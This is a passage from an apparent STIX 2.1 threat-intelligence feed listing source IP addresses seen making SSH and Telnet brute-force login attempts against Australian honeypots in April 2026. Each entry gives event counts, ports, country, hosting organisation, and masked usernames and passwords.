      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.139.192.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:15:10.000Z",
      "valid_until": "2026-05-04T15:15:08.000Z"
    },
    {
      "created": "2026-04-02T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 1080. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n, r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--8affc0ed-f9de-4f59-bbfe-a93757c915ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.199.98.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:15:10.000Z",
      "valid_until": "2026-05-04T15:15:08.000Z"
    },
    {
      "created": "2026-04-02T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--00e973dc-40a7-4509-98eb-d2a63c9a7097",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.245.129.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:15:10.000Z",
      "valid_until": "2026-05-04T15:15:08.000Z"
    },
    {
      "created": "2026-04-02T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 27651. Organisation(s): ENTEL CHILE S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0****n, 1******B, 2******9, 3***********4, 3**********4.",
      "id": "indicator--b5ac6f88-c23c-4828-b614-e63cd5d39ce2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.10.86.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:15:10.000Z",
      "valid_until": "2026-05-04T15:15:08.000Z"
    },
    {
      "created": "2026-04-02T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--2fba0551-103f-4bdd-9803-d89c3bf2838c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.118.227.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:15:10.000Z",
      "valid_until": "2026-05-04T15:15:08.000Z"
    },
    {
      "created": "2026-04-02T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:15:10.000Z",
      "valid_until": "2026-05-04T15:15:08.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--25c9689b-4494-4c08-8673-3c7f50f92168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.212.195.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--36d93335-68a7-42a8-96ef-8104d7bb3057",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.193.36.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NO. ASN(s): 2116. Organisation(s): Globalconnect As. Usernames observed (masked): r**t. Passwords observed (masked): 1**********E.",
      "id": "indicator--5a0b4686-4cee-475f-9096-9153ab9a43b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.91.255.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--414af4ca-7dd8-4da1-b72c-a790ec241ff7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.39.49.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 18747. Organisation(s): IFX Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 2*******5, M*******6.",
      "id": "indicator--d768bac6-56ed-4d66-8585-b1f41170525d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.91.236.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a2eac900-9f50-472b-bfcf-2adb29fef011",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--77740a7d-511d-4cf6-97fb-0461127c481d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0************a, 3***********4, 3**********4, A*********5, A*******..",
      "id": "indicator--067bd8ee-ed50-46c9-946c-a34c3e380127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.158.120.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bb1a1ebd-7b65-4b82-a44b-83d0452499a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******5, 3***********4, 3**********4, A********., A********0.",
      "id": "indicator--b394e528-17bc-4d3e-a24f-f7adbdee372b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s**v, s****a, u****u. Passwords observed (masked): ***, 1**4, 1****6, 1******8, ***.",
      "id": "indicator--13b8c172-c7cc-4d9b-b5d4-1184f1a75b96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:15:10.000Z",
      "valid_until": "2026-05-04T16:15:09.000Z"
    },
    {
      "created": "2026-04-02T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 216039. Organisation(s): EdgeSec Technologies Limited. Usernames observed (masked): . Passwords observed (masked): **.",
      "id": "indicator--5fea7b2c-02c6-4c36-af9b-35e969ec12c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '166.1.144.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:15:10.000Z",
      "valid_until": "2026-05-04T17:15:08.000Z"
    },
    {
      "created": "2026-04-02T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3308ce26-ce6c-4d80-a253-5a75261bdda7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:15:10.000Z",
      "valid_until": "2026-05-04T17:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 1*******., 3**********4, R******5, q*************%.",
      "id": "indicator--7d0f0853-5efa-49f7-b939-76ef32d34112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.144.2.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****5, P********7, P************5.",
      "id": "indicator--a2a68edd-ebf5-4fa0-a701-da4ea5b0b9bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.51.21.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********6, A****f, E************3.",
      "id": "indicator--ac3b4eec-a54e-42e8-b225-9380b9546765",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.91.88.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262907. Organisation(s): BRASIL TECPAR | AMIGO | AVATO. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****4, 3***********4, 3**********4, A*******7, D*******..",
      "id": "indicator--1f985af2-27b9-4a42-b40d-270565cd18b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.11.196.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--540d58da-2e7d-4811-ad6a-ef4e84ff9375",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.116.114.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131127. Organisation(s): GLOBAL TECHNOLOGY - TELECOMMUNICATIONS CORPORATION. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, F******4, Q*************6, Q***1.",
      "id": "indicator--d7e9f36f-96d2-4d9e-8853-855cc5afefbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.91.186.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 216300. Organisation(s): Closed Joint Stock Company AbkhazMedia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******a, 3**********4, Y**********9, a*******@, ***.",
      "id": "indicator--bbd83d74-3e45-40aa-9681-b2f0f50bcf6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.225.202.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, L*******6, M*******4, Q****d.",
      "id": "indicator--790c3d40-b9d9-41d7-bfa3-a59e866f52a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.181.15.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12768. Organisation(s): JSC ER-Telecom Holding. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******., 3***********4, 3**********4, H******6, R************0.",
      "id": "indicator--64e8e887-56a3-4782-a5f8-3572aebe21ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.33.235.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**************R, 3***********4, 3**********4, A*****3, A*******1.",
      "id": "indicator--d014d5a2-c9e4-45ba-8676-f4b6e2788d3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.71.237.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 58717. Organisation(s): Summit Communications Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****5, 2***@, 3***********4, 3**********4, M*********3.",
      "id": "indicator--89bc4751-4a78-4eb5-b653-ed6aa5e6581d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.245.143.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--c3220a0b-26dc-40c4-8ae2-f39911d7532e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.54.137.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*****@, A****f, E************3.",
      "id": "indicator--57f06402-b9fb-435c-a3cc-b0457576c0cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.62.117.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:15:13.000Z",
      "valid_until": "2026-05-04T18:15:08.000Z"
    },
    {
      "created": "2026-04-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--380cf9ff-70c6-4c53-be26-e3afeab571d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.33.56.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T19:15:10.000Z",
      "valid_until": "2026-05-04T19:15:09.000Z"
    },
    {
      "created": "2026-04-02T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 3***********4, 3**********4, H********6, P*********6.",
      "id": "indicator--7a85c45d-9065-460e-8f51-8daa20380bde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.43.55.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T19:15:10.000Z",
      "valid_until": "2026-05-04T19:15:09.000Z"
    },
    {
      "created": "2026-04-02T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.240.192.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
